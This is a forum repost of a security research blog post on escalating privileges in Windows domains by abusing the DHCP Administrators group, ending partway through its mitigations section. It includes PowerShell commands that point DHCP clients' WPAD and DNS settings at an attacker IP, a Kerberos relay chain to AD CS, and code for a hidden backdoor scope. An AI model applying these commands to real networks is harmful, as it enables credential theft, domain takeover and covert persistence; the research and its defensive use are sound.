Статья Abusing the DHCP Administrators Group to Escalate Privileges in Windows Domains

[admin]

Executive summary​

• Akamai researchers discovered a new privilege escalation technique affecting Active Directory (AD) environments that leverages the DHCP administrators group.
• In cases where the DHCP server role is installed on a Domain Controller (DC), this could enable them to gain domain admin privileges.
• The technique is based on abuse of legitimate features and doesn’t rely on any vulnerability. Therefore, a fix for it doesn’t exist.
• In addition to providing a privilege escalation primitive, the same technique could also be used to create a stealthy domain persistence mechanism.
• Microsoft DHCP server is very popular; it was observed running in 40% of the networks monitored by Akamai. Any environment running this server could be vulnerable.
• We provide detailed steps that can drastically reduce the risk from this technique, identify potential exploitation of it, as well as a way to identify the configuration that enables it.

Introduction​

From Google Docs to Active Directory, access management affects just about every role in an organization. Minimizing employee frustrations without adding unnecessary risk is a delicate balance when discussing permissions and access control — a plight security teams are painfully aware of.
As such, the “just enough access” sweet spot is a critical element of any access strategy. It boils down to this: Every user should be granted a set of privileges that are required to perform their duties, but they should be as limited as possible in any other aspect. This can reduce the impact of a compromise of any single user, preventing lateral movement and additional exploitation.

Although it would remove the most risk, managing access on an identity-by-identity basis is not realistic or feasible, especially at the enterprise level. Instead, user access groups provide generalized permissions based on job function — a concept most commonly seen in AD. For example, Microsoft provides the “DNS Admins” group, which is an AD group in charge of managing DNS servers. Following the “just enough access” principle, its members do not have permissions over the machine hosting the DNS server, but rather only for DNS service-related configuration.

Although that all works in theory — in practice, it’s a different story. Shay Ber’s 2017 research Для просмотра ссылки Войди или Зарегистрируйся how members of the “DNS Admins” group could abuse one of the group’s privileges to execute code on DNS servers, which would almost always result in a privilege escalation to domain admins.

Microsoft DHCP provides a similar security group called “DHCP administrators.” While working on our Для просмотра ссылки Войди или Зарегистрируйся Для просмотра ссылки Войди или Зарегистрируйся into Microsoft DHCP, the question of finding a similar primitive using this group came to mind: Can a DHCP administrator become a domain administrator? Well, as it turns out, sometimes it sure can.
In this blog post, we will cover the DHCP administrators group and show how one of its privileges could be abused to compromise DHCP servers, including a full domain takeover in cases where the DHCP server is installed on a DC.

We will also show how this same technique can be used to establish an interesting domain persistence mechanism, and provide the details to implement a “Для просмотра ссылки Войди или Зарегистрируйся.”
Since this technique uses legitimate privileges and options that are available to DHCP administrators, there isn’t a simple solution like a patch — because there is no vulnerability. To help reduce the risk from this technique, we’ve included detailed mitigation and detection steps in this blog post.

What are DHCP administrators?​

The DHCP administrators group is an AD group of users that are intended to manage Dynamic Host Configuration Protocol (DHCP) servers. It allows its members to query and modify the configuration of the DHCP service on remote servers. Importantly, its members have no permissions over the DHCP server machine itself, but only for the DHCP service configuration. This means that a DHCP administrator should not be able to execute code on a DHCP server, but only modify DHCP-related configurations. One of the configurations that is controlled by DHCP administrators is DHCP options.

Abusing DHCP options​

Network clients require a set of configurations to participate in a network, including an IP address and a subnet mask, a default gateway address, and a DNS server, just to name a few. DHCP servers advertise these configurations to their clients in the form of DHCP options — different configurations are coupled with a defined option ID and are queried by clients (Figure 1).

Для просмотра ссылки Войди или Зарегистрируйся
Fig. 1: Examples of DHCP options configured on a DHCP server

DHCP clients request their required options and modify their network configuration according to the responses. With the ability to control the values of these options on the server, each option that is requested by a client could potentially be abused by an attacker to inject malicious configuration.
To understand the potential attack surface on Windows clients, we can examine the options that are requested by default (Figure 2).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 2: DHCP options configured on a DHCP server

Proxy autodiscovery​

We can see that one of the configurations requested is the “Proxy autodiscovery” option (highlighted in blue in Figure 2), which is used to automatically configure a web proxy (Для просмотра ссылки Войди или Зарегистрируйся). This option enables a DHCP server to specify the URL of a “wpad.dat” file, which contains the proxy settings to be used by the client.
We can configure this option and specify our address as the proxy by running the following PowerShell commands:

Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0

After setting this option, we see that Windows clients receive our configuration when leasing an address from the DHCP server

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 3: DHCP client receiving proxy configuration from the server

After receiving this configuration, the DHCP client will connect to our machine over HTTP and attempt to fetch the “wpad.dat” file (Figure 4).

Fig. 4: DHCP client requesting a “wpad.dat” file from the attacker’s machine

The ability to impersonate a WPAD server opens up the opportunity for Для просмотра ссылки Войди или Зарегистрируйся that can allow compromising client credentials.
There are other DHCP options we can target to achieve a similar result. This capability is certainly by design, and is not really a security problem. DHCP administrators can, well … administer DHCP. The impact of this capability, however, can be broader than expected.

DHCP DNS Server option​

While analyzing the different DHCP options that could be abused, another one caught our attention — the DNS Server option. In a similar manner to the previous attack, a DHCP administrator can spoof the DNS server address and spoof DNS responses to achieve a machine-in-the-middle (MITM) position. But, as it turns out, there's more to this option.

Normally, DHCP options are used to serve data to requesting clients. Interestingly, the DNS Server option serves another purpose — its value will be used as the destination of Для просмотра ссылки Войди или Зарегистрируйся (Figure 5).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 5: DNS Server option effect on the DHCP DNS dynamic update process

Why is this interesting? Microsoft DNS server and Windows DNS clients support a feature of Dynamic Updates called Для просмотра ссылки Войди или Зарегистрируйся. With this feature enabled (and it is, by default), DNS clients are required to authenticate before performing DNS updates on the server. This authentication is performed by using Kerberos over DNS.
With a DHCP administrator account, we can control the DNS Server option on the DHCP server and make it authenticate to an address of our choice. The steps in Figure 6 show how this is achieved.

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 6: DHCP lease causing the server to authenticate to the client via Kerberos

1. On the target DHCP server, we configure our IP address (172.25.14.19) as the DNS Server option.
2. From our machine, we lease an IP address while specifying the Для просмотра ссылки Войди или Зарегистрируйся. In this example, we specify the FQDN “aaa.aka.test”. This triggers a DHCP DNS Dynamic Update.
3. The DHCP server sends a DNS “Start of Authority” (SOA) query to our machine (thinking it’s the DNS server). This query is used by the DHCP server to check which DNS server is authoritative over “aaa.aka.test”.
4. We respond to the SOA query, specifying our machine as the authoritative DNS server for the record “aaa.aka.test”.
5. The DHCP server attempts to create the record by sending a DNS Dynamic Update to our machine. This update attempt is unauthenticated.
6. We refuse the unauthenticated update to trigger an authentication attempt by the server.
7. The DHCP server authenticates to our machine using Kerberos authentication over DNS, implemented by sending a TKEY query.

Figure 7 shows an example capture of this technique in action.

Fig. 7: Packet capture of the DHCP lease and subsequent DNS traffic

This technique, which we’ve dubbed DHCP Coerce, grants us a Kerberos authentication coercion primitive, as we can make any DHCP server authenticate to our machine.
Have questions about DHCP security?

DHCP Coerce to Kerberos relay​

DHCP Coerce opens an opportunity for a Для просмотра ссылки Войди или Зарегистрируйся attack — we can coerce authentication to our machine and then perform a relay attack, allowing us to impersonate the DHCP server machine account. This would allow full control over the server itself instead of the more limited permissions included in the DHCP administrators group.
Kerberos relay targets are somewhat limited, but we still have a good option, as was described in a Для просмотра ссылки Войди или Зарегистрируйся, Kerberos relay can be used to target Active Directory Certificate Services (AD CS).

AD CS are a set of services that provide a PKI solution for Active Directory environments. In the context of AD, the main use of this PKI is to enable certificate-based authentication — with AD CS, users can issue certificates for themselves, and use them to authenticate to resources in the domain.
One of the ways these certificates are issued is the Web Enrollment service — a web service that can be used by clients to request certificates. By default, this service is vulnerable to Kerberos relay attacks, as it does not verify message integrity. This problem is described as ESC8 in the Для просмотра ссылки Войди или Зарегистрируйся performed by Will Schroeder and Lee Christensen of SpecterOps. By combining our coercion primitive with ESC8, we can create an attack chain (Figure 8) that will enable us to compromise the DHCP server.

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 8: DHCP Coerce full attack chain

1. Use a DHCP Administrator to coerce Kerberos authentication to our machine as described in the previous section.
2. Use Для просмотра ссылки Войди или Зарегистрируйся to relay the authentication to AD CS and get a certificate for the DHCP server machine account.
3. Use the certificate to obtain the NTLM hash of the DHCP server machine account, a technique described in Для просмотра ссылки Войди или Зарегистрируйся as THEFT5.
4. Use the NTLM hash to authenticate as the DHCP server machine account and execute code.

For a deeper dive on steps 2–4, please refer to Dirk Jan’s Для просмотра ссылки Войди или Зарегистрируйся blog post.
To summarize, if AD CS is used in the environment, a DHCP administrator account can execute code on any DHCP server. Yikes.
DHCP servers are very often installed on DCs — among the networks that we observed using Microsoft DHCP server, 57% have a DHCP server installed on a DC. In these cases, a DHCP administrator can compromise the entire domain by taking over the DC machine account.

A note on DNS credential​

The attack we just described relies on the DHCP server authenticating with its own machine account when performing DNS updates. One of the best practices recommended by Microsoft is to configure a weak user as the Для просмотра ссылки Войди или Зарегистрируйся for the DHCP server — an alternative credential to be used instead of the machine account when performing updates.

This configuration could nullify our relay attack. Instead of compromising the machine account of the server, we will get the permissions of a weak user.
Luckily for us, we are DHCP administrators! A DHCP administrator can remove an existing DNS credential without any knowledge of the credential itself. The Remove-DhcpServerDnsCredential PowerShell command could be used to do this. After removing the DNS credential, the DHCP server reverts to the default and uses its machine account to perform updates.

DHCP domain persistence​

In addition to abusing the DHCP administrators group to execute code on DHCP servers, the technique that we just described could be weaponized to create an interesting domain persistence mechanism.

Once the DNS Server option is set up, no credentials are required to coerce authentication — an attacker only needs to lease an IP address from the DHCP server. This can allow an attacker to perform a DHCP coerce attack from outside the domain without any credentials.

DHCP backdoor scope​

A DHCP scope is a defined set of IP addresses in a specific subnet that the DHCP can lease. DHCP options can be configured on a per-scope basis, allowing for different configurations for various subnets.

To perform a DHCP coerce, we need to change the DNS Server option on one of the DHCP scopes. Obviously, we don't want to use an existing scope for this — if we modify an existing scope’s DNS Server option, this configuration would be passed down to DHCP clients, causing communication issues and potentially lead to the detection of our backdoor.

Instead, we want to create a dedicated scope, with an address range that is not used in any subnet of the network (Figure 9).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 9: Creating a “backdoor” DHCP scope

But there’s a problem with this approach, rooted in the DHCP server scope-selection logic. When a client leases an IP address, the server determines the DHCP scope to use based on the source subnet of the client. This subnet is identified by the network interface that received the DHCP Discover message (Figure 10).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 10: DHCP scope-selection based on network interface

To trigger the backdoor, we need to lease an IP address from our malicious scope. To do that, we must be present in a subnet that is linked to this scope. At the same time, we want our scope not to be linked to an existing subnet in the network, to avoid breaking client connectivity. These two requirements, however, contradict each other — if a scope is not linked to an existing subnet, we can't reach it. If it is, other clients can reach it as well. Luckily, DHCP relay agent comes to the rescue.

DHCP relay agent​

A solution to this problem comes with the DHCP relay agent feature. A DHCP relay agent is a server that is meant to allow clients to lease IP addresses from a DHCP server even if one is not present in their local network (Figure 11).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 11: DHCP lease process with a relay agent

The relay agent listens to DHCP broadcast messages from clients and relays them to the DHCP server on behalf of the clients. The DHCP relay agent informs the DHCP server of the source subnet of the client via the Relay Agent Information DHCP option, allowing the server to determine the correct scope to use when leasing an IP address.
We noticed that this feature enables a DHCP relay agent to request an IP address from any scope, regardless of the interface on the DHCP server. An attacker can act as a relay agent and indicate any subnet in the Relay Agent Information option, enabling them to lease an IP address from any scope (Figure 12).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 12: Leasing an IP address from a specified scope by acting as a DHCP relay agent

There is one final caveat to consider: The IP address of the relay server itself has to be part of an existing scope on the server. This is meant to prevent rogue clients from accessing the server. To overcome this, we can follow Для просмотра ссылки Войди или Зарегистрируйся and create a dedicated scope that will include our external IP address, illegitimately “authorizing” it to act as a relay.

Abusing the DHCP relay agent option​

A potential backdoor (Figure 13) will consist of 2 scopes:

• Authorization scope. A scope that is meant to authorize our attacking machine to act as a DHCP relay agent. Its IP range will include the IP address of our external attacking machine.
• Coercion scope. A scope that will be used to lease an IP address, triggering a Kerberos authentication attempt to our attacking machine. Its DNS Server option would be configured with our external attacking machine IP, and its IP range can be any arbitrary range that is not used in the network.

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 13: DHCP backdoor design

The following PowerShell code shows how these scopes could be created:

Import-Module DhcpServer

Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>

To trigger the backdoor, we lease an address from the DHCP server with the following adjustments:

• We use our IP address in the relay agent IP address (giaddr) DHCP field. This field is used to inform the DHCP server of the relay agent IP address. This IP is required to be inside the “authorization scope.”
• We include the Relay Agent Information option, with an IP address inside the “coercion scope.”

In Figure 14, our authorization scope includes the IP address 172.25.14.18, and our coercion scope includes the address 66.66.66.66.

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 14: DHCP Discover adjustments when acting as a relay agent

We added relay agent support to Для просмотра ссылки Войди или Зарегистрируйся, our Для просмотра ссылки Войди или Зарегистрируйся, and created a proof of concept script called dhcp_coerce.py that enables the performance of this attack. The script acts as a DHCP relay agent and requests an IP address from our requested scope, enabling us to trigger authentication coercion through our coercion scope (Figure 15).

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 15: Using DDSpoof to trigger the DHCP backdoor

Mitigations​

Defensive measures against this threat include:

• Identifying risky DHCP configuration
• Mitigating relay attacks against AD CS
• Practicing DHCP administrators group hygiene
• Using segmentation to reduce the attack surface
• Identifying DNS anomalies

Identifying risky DHCP configuration​

Для просмотра ссылки Войди или Зарегистрируйся can help you identify risky DHCP configuration. The most severe risk in the context of the DHCP coerce attack chain is an installation of a DHCP server on a DC — a configuration that we recommend you avoid.
Run Invoke-DHCPCheckup to list all active Microsoft DHCP servers, and identify any that are installed on DCs (Figure 16). If possible, disable the DHCP server service on all DCs.

Для просмотра ссылки Войди или Зарегистрируйся

Fig. 16: Identifying a DHCP server installed on a DC using Invoke-DHCPCheckup


Для просмотра ссылки Войди или Зарегистрируйся
[/QUOTE]